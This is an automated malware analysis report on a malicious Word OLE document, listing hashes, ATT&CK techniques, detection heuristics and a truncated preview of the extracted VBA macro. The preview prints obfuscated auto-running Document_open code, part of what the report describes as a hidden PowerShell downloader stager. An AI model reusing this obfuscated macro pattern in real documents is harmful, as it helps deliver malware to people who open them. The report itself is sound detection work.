Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49c6eecde6ec6eb4…

MALICIOUS

Office (OLE)

153.7 KB Created: 2020-09-15 04:19:00 Authoring application: Microsoft Office Word First seen: 2021-11-20
MD5: 287a664684711a52d0162f28a640b4b7 SHA-1: 7865477aef1b2e718b5e1c5fa8ac298aa55df0c5 SHA-256: 49c6eecde6ec6eb4319e51daa7fb888e08937764a5d9fc89460f70b2ceafb8fc
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell

This document contains a VBA macro that is triggered by the Document_open event. The macro utilizes CreateObject and appears to be an obfuscated PowerShell stager, indicated by the 'powersh2vhaghsghfell -e JABXADIA...' string. This script likely downloads and executes a second-stage payload, contributing to the malicious nature of the file.

Heuristics 7

  • ClamAV: Doc.Malware.Ewlu-9762397-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Ewlu-9762397-0
  • Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL
    OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22860 bytes
SHA-256: 262eaa2cfabe15c408f9ed0f71f3e80b6e1636570aa2563811ecb34f68c15392
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "E4zse1_cc4hzwen"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
S7xa93_tr32lzr3a0q = Array(Qm1uqaq6o337jz + "Y7qmv744_rkepugvwmSv0mg_r9w217 Qzt8vx6v5u1cg8" + Higfub0o0uj, D0hbkw4r1bja_, Smdlhwqd947fg.Cn8cn95oec8l11p0g, R8bjjadpxnuulq + "Hvnll2wwsqroqlj_ Edocn1kjizl6 Skn4qq7zz1bkt4 Qyeonooibw97cccbk")
End Sub


Attribute VB_Name = "Smdlhwqd947fg"
Attribute VB_Base = "0{1943B0C0-7196-4134-A717-66D523A776A0}{D362067F-6164-4D48-8274-9B9784B9EB3C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Cn8cn95oec8l11p0g()
On Error Resume Next
   Set O3h3_4uyo8mn5wo58 = E4zse1_cc4hzwen.Signatures
wzWrspw = "jlXBPtd1 f6AkKoQjzwGjCbLvuk73QJc1lSazWAa"
CMPYjuYGVj = Mid(wzWrspw, 21, 1)
ipiirDE = CMPYjuYGVj
mlmaRVf = "v05iZdfKC W47oI0B29OrzT"
nShDLRmDHl = Mid(mlmaRVf, 7, 1)
GClSBinc = nShDLRmDHl
Set Jdkek2ainday7 = E4zse1_cc4hzwen.Signatures
vVJuql = "2udbywaK0p80nYkIk EmsH5F9XLWBXt1k2nr4nLnz"
doCiHssI = Mid(vVJuql, 5, 2)
nFNDHXwGMn = doCiHssI
RrMHQQijs = "P7wc0iMf5Eid3cmqQbAwjI2EXsAd dDpD8"
cpKkrNspn = Mid(RrMHQQijs, 29, 1)
TFDmE = cpKkrNspn
sNJbd = "uB1afjv SHwbIIr"
Set Raty_nlvx90ko = E4zse1_cc4hzwen.Signatures
PjKKsOzL = Mid(sNJbd, 7, 2)
naCJow = PjKKsOzL
wJKNvZPfkcT = "Qf3CR4lE0tqD4j13NjmPGzokNiF4A6E"
JLDkTtPc = Mid(wJKNvZPfkcT, 2, 2)
bqqSjqlqk = JLDkTtPc
XIUzZTaH = "otIsUk8tN2g h"
Set Gsxkz7i2vpsr23qqx1 = E4zse1_cc4hzwen.Signatures
bTUTTvMid = Mid(XIUzZTaH, 10, 2)
AZYrXESTpv = bTUTTvMid
dddd = nFNDHXwGMn + naCJow + AZYrXESTpv + KqHIKwknLEN + BhFbQC + ipiirDE + TFDmE + bqqSjqlqk + tfvNwSuBq + JaiUX + GClSBinc
Z5wsqfpp1uw = 90
   Set O3h3_4uyo8mn5wo58 = E4zse1_cc4hzwen.Signatures
wzWrspw = "jlXBPtd1 f6AkKoQjzwGjCbLvuk73QJc1lSazWAa"
CMPYjuYGVj = Mid(wzWrspw, 21, 1)
ipiirDE = CMPYjuYGVj
mlmaRVf = "v05iZdfKC W47oI0B29OrzT"
nShDLRmDHl = Mid(mlmaRVf, 7, 1)
GClSBinc = nShDLRmDHl
Set Jdkek2ainday7 = E4zse1_cc4hzwen.Signatures
vVJuql = "2udbywaK0p80nYkIk EmsH5F9XLWBXt1k2nr4nLnz"
doCiHssI = Mid(vVJuql, 5, 2)
nFNDHXwGMn = doCiHssI
RrMHQQijs = "P7wc0iMf5Eid3cmqQbAwjI2EXsAd dDpD8"
cpKkrNspn = Mid(RrMHQQijs, 29, 1)
TFDmE = cpKkrNspn
sNJbd = "uB1afjv SHwbIIr"
Set Raty_nlvx90ko = E4zse1_cc4hzwen.Signatures
PjKKsOzL = Mid(sNJbd, 7, 2)
naCJow = PjKKsOzL
wJKNvZPfkcT = "Qf3CR4lE0tqD4j13NjmPGzokNiF4A6E"
JLDkTtPc = Mid(wJKNvZPfkcT, 2, 2)
bqqSjqlqk = JLDkTtPc
XIUzZTaH = "otIsUk8tN2g h"
Set Gsxkz7i2vpsr23qqx1 = E4zse1_cc4hzwen.Signatures
bTUTTvMid = Mid(XIUzZTaH, 10, 2)
AZYrXESTpv = bTUTTvMid
dddd = nFNDHXwGMn + naCJow + AZYrXESTpv + KqHIKwknLEN + BhFbQC + ipiirDE + TFDmE + bqqSjqlqk + tfvNwSuBq + JaiUX + GClSBinc
Nx7w3g__8gd_14mp = Nu_tu82k7d45w4 + Chr$(Z5wsqfpp1uw + (25))
   Set O3h3_4uyo8mn5wo58 = E4zse1_cc4hzwen.Signatures
wzWrspw = "jlXBPtd1 f6AkKoQjzwGjCbLvuk73QJc1lSazWAa"
CMPYjuYGVj = Mid(wzWrspw, 21, 1)
ipiirDE = CMPYjuYGVj
mlmaRVf = "v05iZdfKC W47oI0B29OrzT"
nShDLRmDHl = Mid(mlmaRVf, 7, 1)
GClSBinc = nShDLRmDHl
Set Jdkek2ainday7 = E4zse1_cc4hzwen.Signatures
vVJuql = "2udbywaK0p80nYkIk EmsH5F9XLWBXt1k2nr4nLnz"
doCiHssI = Mid(vVJuql, 5, 2)
nFNDHXwGMn = doCiHssI
RrMHQQijs = "P7wc0iMf5Eid3cmqQbAwjI2EXsAd dDpD8"
cpKkrNspn = Mid(RrMHQQijs, 29, 1)
TFDmE = cpKkrNspn
sNJbd = "uB1afjv SHwbIIr"
Set Raty_nlvx90ko = E4zse1_cc4hzwen.Signatures
PjKKsOzL = Mid(sNJbd, 7, 2)
naCJow = PjKKsOzL
wJKNvZPfkcT = "Qf3CR4lE0tqD4j13NjmPGzokNiF4A6E"
JLDkTtPc = Mid(wJKNvZPfkcT, 2, 2)
bqqSjqlqk = JLDkTtPc
XIUzZTaH = "otIsUk8tN2g h"
Set Gsxkz7i2vpsr23qqx1 = E4zse1_cc4hzwen.Signatures
bTUTTvMid = Mid(XIUzZTaH, 10, 2)
AZYrXESTpv = bTUTTvMid
dddd = nFNDHXwGMn + naCJow + AZYrXESTpv + KqHIKwknLEN + BhFbQC + ipiirDE + TFDmE + bqqSjqlqk + tfvNwSuBq + JaiUX + GClSBinc
Sotb0vzq8fpfrg = 
... (truncated)

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